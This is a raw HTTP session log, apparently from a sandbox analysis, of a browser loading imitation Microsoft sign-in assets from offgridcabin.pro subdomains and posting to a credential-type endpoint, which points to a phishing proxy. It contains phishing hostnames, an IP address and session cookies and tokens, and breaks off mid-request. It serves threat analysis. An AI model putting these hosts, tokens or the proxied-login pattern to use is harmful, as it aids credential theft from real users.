2025-01-13 20:53:12 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:12 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:12 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:12 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-13 20:53:12 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 31 32 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:12 GMT
2025-01-13 20:53:12 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 30 35 41 35 34 37 39 42 43 31 41 35 0d 0a Data Ascii: Etag: 0x8DD05A5479BC1A5
2025-01-13 20:53:12 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 31 35 20 4e 6f 76 20 32 30 32 34 20 31 38 3a 34 32 3a 33 38 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Fri, 15 Nov 2024 18:42:38 GMT
2025-01-13 20:53:12 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49948	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:12 UTC	513	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:12 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:12 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:12 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:12 UTC	185	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:12 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:12 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:12 UTC	28	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 0d 0a Data Ascii: Content-Type: image/x-icon
2025-01-13 20:53:12 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 31 32 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:12 GMT
2025-01-13 20:53:12 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 38 37 33 31 32 33 30 43 38 35 31 41 36 0d 0a Data Ascii: Etag: 0x8D8731230C851A6
2025-01-13 20:53:12 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 53 75 6e 2c 20 31 38 20 4f 63 74 20 32 30 32 30 20 30 33 3a 30 32 3a 30 33 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT
2025-01-13 20:53:12 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49950	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:12 UTC	526	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:12 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:12 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:12 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:12 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:12 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:12 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:12 UTC	29	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a Data Ascii: Content-Type: image/svg+xml
2025-01-13 20:53:12 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 31 32 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:12 GMT
2025-01-13 20:53:12 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 37 45 32 36 30 46 44 0d 0a Data Ascii: Etag: 0x8DB5C3F47E260FD
2025-01-13 20:53:12 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 36 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:46 GMT
2025-01-13 20:53:12 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49960	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:13 UTC	548	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:14 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:14 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:14 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:14 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:14 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:14 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:14 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-13 20:53:14 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 31 33 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:13 GMT
2025-01-13 20:53:14 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 30 35 41 35 34 37 39 42 43 31 41 35 0d 0a Data Ascii: Etag: 0x8DD05A5479BC1A5
2025-01-13 20:53:14 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 31 35 20 4e 6f 76 20 32 30 32 34 20 31 38 3a 34 32 3a 33 38 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Fri, 15 Nov 2024 18:42:38 GMT
2025-01-13 20:53:14 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	50008	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:21 UTC	793	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:21 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:21 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:21 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:21 UTC	185	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:21 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:21 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:21 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 67 69 66 0d 0a Data Ascii: Content-Type: image/gif
2025-01-13 20:53:21 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 32 31 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:21 GMT
2025-01-13 20:53:21 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 38 45 43 34 31 35 34 0d 0a Data Ascii: Etag: 0x8DB5C3F48EC4154
2025-01-13 20:53:21 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 37 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:47 GMT
2025-01-13 20:53:21 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	50010	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:21 UTC	787	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:21 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:21 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:21 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:21 UTC	185	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:21 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:21 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:21 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 67 69 66 0d 0a Data Ascii: Content-Type: image/gif
2025-01-13 20:53:21 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 32 31 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:21 GMT
2025-01-13 20:53:21 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 39 30 34 38 32 34 42 0d 0a Data Ascii: Etag: 0x8DB5C3F4904824B
2025-01-13 20:53:21 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 38 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:48 GMT
2025-01-13 20:53:21 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	50009	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:21 UTC	2280	OUT	POST /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive Content-Length: 1331 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" hpgrequestid: 39a4ca91-ed5e-4df7-bcfb-d94b14cb4300 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: 183a9680-59da-46c0-a62b-8531583ca85f canary: PAQABDgEAAABVrSpeuWamRam2jAF1XRQEZQEOALD5g2hQDDo0Zv1nuEnxFbmNn4xLRZBv_K_xGrlIL8UcJa7uZVktJ56nNR4fxFnLQmxVp74TfbS5QwL3CGMrF05keiSoIw-oMcrenYsJnziGGuTCejSP_ZYVIibwx38tFt9935M_wOiziAIbfe3gipueFe54nm2sCs1YuFz36AHDBGPq4RDC_Gg6r-bKKO3d6sS6XCs_L9i7G4SxTSAA Content-type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json hpgact: 2101 sec-ch-ua-platform: "Windows" Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66 [TRUNCATED]
